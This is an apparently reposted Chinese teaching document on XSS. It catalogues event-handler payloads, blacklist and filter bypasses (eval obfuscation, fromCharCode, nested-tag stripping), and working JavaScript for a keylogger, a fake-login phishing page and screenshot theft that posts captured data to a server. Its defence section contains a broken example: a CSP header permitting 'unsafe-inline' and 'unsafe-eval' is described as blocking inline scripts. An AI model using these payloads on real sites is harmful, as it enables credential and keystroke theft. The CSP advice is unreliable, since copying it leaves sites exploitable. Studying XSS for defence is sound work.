他山之石 | 对 XSS 的一次深入分析认识
字数 1526 2025-08-18 11:37:53

XSS攻击深入分析与防御技术教学文档

一、XSS攻击概述

XSS(跨站脚本攻击)是Web应用中最常见且持续存在的安全漏洞之一,攻击者通过在目标网站中注入恶意脚本,当其他用户访问该页面时,脚本会在用户浏览器中执行。

XSS攻击特点

  • 长期存在且影响广泛
  • 攻击方式多样,绕过技术不断演进
  • 危害远超简单的弹窗演示

二、XSS攻击向量分析

1. 非常规标签Payload加载技术

(1) Body标签

<body onpageshow=alert(1)>
  • 利用onpageshow事件处理器
  • 页面解析body元素时触发Payload

(2) Style标签

<style onload=alert(1) />
  • 结合onload事件触发

(3) Marquee标签

<marquee behavior="alternate" onstart=alert(1)>hack the planet</marquee>
<marquee loop="1" onfinish=alert(1)>hack the planet</marquee>
<marquee onstart=alert(1)>hack the planet</marquee>
  • 支持多种事件处理器:
    • onbounce:内容滚动到边界时触发
    • onfinish:完成loop属性设置值时触发
    • onstart:内容开始滚动时触发

(4) Media标签(音频/视频)

<audio oncanplay=alert(1) src="/media/hack-the-planet.mp3" />
<video onloadedmetadata=alert(1) src="/media/hack-the-planet.mp4" />
  • 可用事件处理器:
    • oncanplay:可开始播放时触发
    • ondurationchange:时长变化时触发
    • onended:播放结束时触发
    • onloadeddata:数据帧加载时触发
    • onloadedmetadata:元数据加载后触发
    • onloadstart:开始寻找媒体时触发
    • onprogress:下载媒体时触发
    • onsuspend:读取数据中止时触发

三、XSS绕过技术

1. 黑名单绕过技术

(1) Eval与冗余符号组合

eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))
  • 通过添加冗余符号(~)混淆
  • 使用replace方法清除冗余符号

(2) 引号转义绕过

eval(/~a~le~rt~~(~~1~~)~/.source.replace(/~/g, new String()))
  • 使用正则表达式避免引号
  • new String()替代空字符串

(3) String.fromCharCode方法

eval(String.fromCharCode(97,108,101,114,116,40,49,41))
  • 将ASCII码转换为字符执行

2. Eval替代调用方法

(1) 变量间接调用

var x = eval; x('alert(1)')

(2) 括号间接调用

(1, eval)('alert(1)')

(3) call方法调用

eval.call(null, 'alert(1)')

(4) 新函数定义

function hackThePlanet () { alert(1) }

(5) Function构造函数

new Function('alert(1)')()

3. 输入过滤绕过技术

(1) 不安全样式删除机制利用

<sc<script>ript>alert(1)</sc</script>ript>
  • 删除<script>标签对后剩余有效Payload

  • 删除onerror后剩余有效属性

(2) 不安全样式替换机制利用

  • <script></script>被替换为NAUGHTY_HACKER时:
<script <script>>alert(1)</script </script>>
  • 替换后形成:
<script NAUGHTY_HACKER>alert(1)</script NAUGHTY_HACKER>
  • 浏览器会忽略无效属性但执行脚本

四、XSS高级攻击技术

1. 键盘记录器实现

document.addEventListener('keypress', function (event) {
  var xhr = new XMLHttpRequest()
  xhr.open('POST', '/keylogger')
  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
  xhr.send('data=' + event.key)
})
  • 捕获用户按键并发送到攻击者服务器

2. DOM操纵钓鱼攻击

var dummyFormHtml = '伪造的登录表单HTML'
document.body.innerHTML = dummyFormHtml
// 添加上述键盘记录器代码
  • 替换页面内容为伪造登录表单
  • 结合键盘记录窃取凭证

3. 浏览器视图截图窃取

html2canvas(document.querySelector("body")).then(canvas => {
  var xhr = new XMLHttpRequest()
  xhr.open('POST', '/screenshot')
  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
  xhr.send('data=' + encodeURIComponent(canvas.toDataURL()))
});
  • 使用html2canvas库捕获页面截图
  • 将截图发送到攻击者服务器

五、XSS防御策略

1. 输入过滤最佳实践

  • 采用白名单而非黑名单策略
  • 实现递归过滤而非单次过滤
  • 对特殊字符进行适当编码

2. 输出编码

  • 根据上下文采用不同的编码方式:
    • HTML实体编码
    • JavaScript编码
    • URL编码
    • CSS编码

3. 内容安全策略(CSP)

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'
  • 限制脚本来源
  • 禁止内联脚本执行

4. HttpOnly Cookie标志

  • 防止JavaScript访问敏感Cookie

5. 其他防御措施

  • 使用X-XSS-Protection头
  • 实施严格的同源策略
  • 定期安全审计和渗透测试

六、实战测试资源

  • 漏洞测试应用GitHub仓库:https://github.com/DigitalInterruption/vulnerable-xss-app

七、总结

XSS攻击技术不断演进,防御措施需要多层次、多角度实施。理解攻击原理是构建有效防御的基础,建议开发人员和安全工程师:

  1. 深入了解各种XSS攻击向量
  2. 实施严格的输入验证和输出编码
  3. 采用现代浏览器安全特性
  4. 定期更新和测试安全策略
  5. 对用户进行安全意识教育
XSS攻击深入分析与防御技术教学文档 一、XSS攻击概述 XSS(跨站脚本攻击)是Web应用中最常见且持续存在的安全漏洞之一,攻击者通过在目标网站中注入恶意脚本,当其他用户访问该页面时,脚本会在用户浏览器中执行。 XSS攻击特点 长期存在且影响广泛 攻击方式多样,绕过技术不断演进 危害远超简单的弹窗演示 二、XSS攻击向量分析 1. 非常规标签Payload加载技术 (1) Body标签 利用 onpageshow 事件处理器 页面解析body元素时触发Payload (2) Style标签 结合 onload 事件触发 (3) Marquee标签 支持多种事件处理器: onbounce :内容滚动到边界时触发 onfinish :完成loop属性设置值时触发 onstart :内容开始滚动时触发 (4) Media标签(音频/视频) 可用事件处理器: oncanplay :可开始播放时触发 ondurationchange :时长变化时触发 onended :播放结束时触发 onloadeddata :数据帧加载时触发 onloadedmetadata :元数据加载后触发 onloadstart :开始寻找媒体时触发 onprogress :下载媒体时触发 onsuspend :读取数据中止时触发 三、XSS绕过技术 1. 黑名单绕过技术 (1) Eval与冗余符号组合 通过添加冗余符号(~)混淆 使用replace方法清除冗余符号 (2) 引号转义绕过 使用正则表达式避免引号 new String() 替代空字符串 (3) String.fromCharCode方法 将ASCII码转换为字符执行 2. Eval替代调用方法 (1) 变量间接调用 (2) 括号间接调用 (3) call方法调用 (4) 新函数定义 (5) Function构造函数 3. 输入过滤绕过技术 (1) 不安全样式删除机制利用 删除 <script> 标签对后剩余有效Payload 删除 onerror 后剩余有效属性 (2) 不安全样式替换机制利用 当 <script></script> 被替换为 NAUGHTY_HACKER 时: 替换后形成: 浏览器会忽略无效属性但执行脚本 四、XSS高级攻击技术 1. 键盘记录器实现 捕获用户按键并发送到攻击者服务器 2. DOM操纵钓鱼攻击 替换页面内容为伪造登录表单 结合键盘记录窃取凭证 3. 浏览器视图截图窃取 使用html2canvas库捕获页面截图 将截图发送到攻击者服务器 五、XSS防御策略 1. 输入过滤最佳实践 采用白名单而非黑名单策略 实现递归过滤而非单次过滤 对特殊字符进行适当编码 2. 输出编码 根据上下文采用不同的编码方式: HTML实体编码 JavaScript编码 URL编码 CSS编码 3. 内容安全策略(CSP) 限制脚本来源 禁止内联脚本执行 4. HttpOnly Cookie标志 防止JavaScript访问敏感Cookie 5. 其他防御措施 使用X-XSS-Protection头 实施严格的同源策略 定期安全审计和渗透测试 六、实战测试资源 漏洞测试应用GitHub仓库:https://github.com/DigitalInterruption/vulnerable-xss-app 七、总结 XSS攻击技术不断演进,防御措施需要多层次、多角度实施。理解攻击原理是构建有效防御的基础,建议开发人员和安全工程师: 深入了解各种XSS攻击向量 实施严格的输入验证和输出编码 采用现代浏览器安全特性 定期更新和测试安全策略 对用户进行安全意识教育